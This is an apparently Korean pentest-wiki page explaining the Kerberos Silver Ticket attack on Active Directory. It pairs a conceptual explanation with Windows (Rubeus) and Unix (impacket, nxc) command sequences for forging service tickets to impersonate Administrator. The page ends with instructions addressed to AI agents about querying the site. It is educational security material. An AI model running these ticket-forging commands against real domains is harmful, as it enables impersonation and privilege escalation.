# Silver Tickets

Silver Tickets 공격은 공격자가 서비스 머신 계정을 장악하거나 해당 머신의 키 값을 확보했을 때, 서비스 티켓을 변조하여 다른 사용자를 가장한 서비스 이용이 가능한 공격입니다.&#x20;

서비스 서버는 클라이언트가 제출한 서비스 티켓에 대해서 자신의 키로 복호화만 가능하다면 변조되었거나 탈취되었을 가능성에 대해서는 고려하지 않고 서비스를 이용할 수 있도록 허가합니다. 또한 이 과정에서 도메인 컨트롤러가 서비스 서버 이용에 대해 관여하는 단계는 없기 때문에 실버 티켓을 통한 사용자 가장을 모니터링 하는 것은 굉장히 어렵습니다. 공격 흐름은 다음과 같습니다.

1. 서비스 계정 키 획득
2. 서비스 키를 사용하여 TGS의 PAC 정보에서 다른 사용자의 권한 삽입
3. 변조된 서비스 티켓을 서비스 서버에 제출함에 따라 높은 권한으로 서비스 이용

<figure><img src="/files/ewSI5gExsI1aPNoiHiRR" alt=""><figcaption><p><a href="https://en.hackndo.com/kerberos-silver-golden-tickets/#silver-ticket">https://en.hackndo.com/kerberos-silver-golden-tickets/#silver-ticket</a></p></figcaption></figure>

Kerberos 프로토콜의 구현 측면에서 서비스 티켓의 PAC은 이중 서명 기능이 존재합니다. 하나는 서비스 계정의 키를 통해 서명되고, 다른 하나는 krbtgt의 키로 서명됩니다. 따라서 이중 서명이 활성화 되어 있다면, 서비스 계정의 키를 획득했다고 하더라도 실버 티켓을 생성할 수는 없습니다.&#x20;

{% hint style="info" %}
서비스 계정이 Trusted Computing Base 권한이 없는 일반 계정으로 동작하는 경우에는 KDC 서명을 검증할 수 있지만, 많은 윈도우 서비스가 로컬 시스템으로 동작하여 검증을 생략합니다.&#x20;
{% endhint %}

따라서 대부분의 환경에서는 krbtgt의 패스워드 변경 여부가 실버 티켓의 유효성에 대해서 영향을 주지 못하며, 오직 서비스 계정의 패스워드 변경만이 실버 티켓을 폐기하는 방법입니다.

다음은 실버 티켓을 생성하기 위해 필요한 정보입니다.

* 도메인 SID
* 서비스 계정 키
* SPN

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 도메인 SID 획득
</strong>whoami /user

<strong># 사용자 NT 해시 계산
</strong>https://codebeautify.org/ntlm-hash-generator

<strong># SPN 열거
</strong>Get-ADObject -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName | Select-Object Name, SamAccountName, ObjectClass, ServicePrincipalName

<strong># 실버 티켓 생성
</strong>.\Rubeus.exe silver /service:cifs/ad01.contoso.com /user:Administrator /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /sid:S-1-5-21-2835490888-2107562977-246861531 /nowrap /ptt
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 도메인 SID 획득
</strong>SID=$(nxc ldap '&#x3C;dc-ip>' -u '&#x3C;username>' -p '&#x3C;password>' --get-sid | grep -i sid | awk '{print $7}' | tr -d ' ')

<strong># 사용자 NT 해시 계산
</strong>NTLM=$(echo -n '&#x3C;password>' | iconv -f UTF-8 -t UTF-16LE | openssl dgst -md4 | awk '{print $2}')

<strong># SPN 열거
</strong>impacket-GetUserSPNs '&#x3C;domain/username:password>'

<strong># 실버 티켓 생성
</strong>impacket-ticketer -nthash $NTLM -domain-sid $SID -domain '&#x3C;domain>' -spn '&#x3C;spn>'

<strong># 티켓 환경변수 등록
</strong>export KRB5CCNAME=Administrator.ccache
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://medium.com/@persecure/breach-vulnlab-f30761f08be6>" %}

{% embed url="<https://en.hackndo.com/kerberos-silver-golden-tickets/#silver-ticket>" %}

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/silver-ticket>" %}

{% embed url="<https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/silver-ticket-attack/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/privilege-escalation/active-directory/silver-tickets.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
